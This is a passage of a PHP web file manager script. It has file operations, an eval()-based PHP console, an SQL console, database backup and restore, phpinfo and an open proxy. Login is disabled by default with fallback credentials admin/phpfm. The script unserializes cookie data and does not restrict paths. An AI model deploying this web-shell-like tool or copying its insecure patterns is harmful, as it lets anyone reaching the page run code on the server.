$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменÑть надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM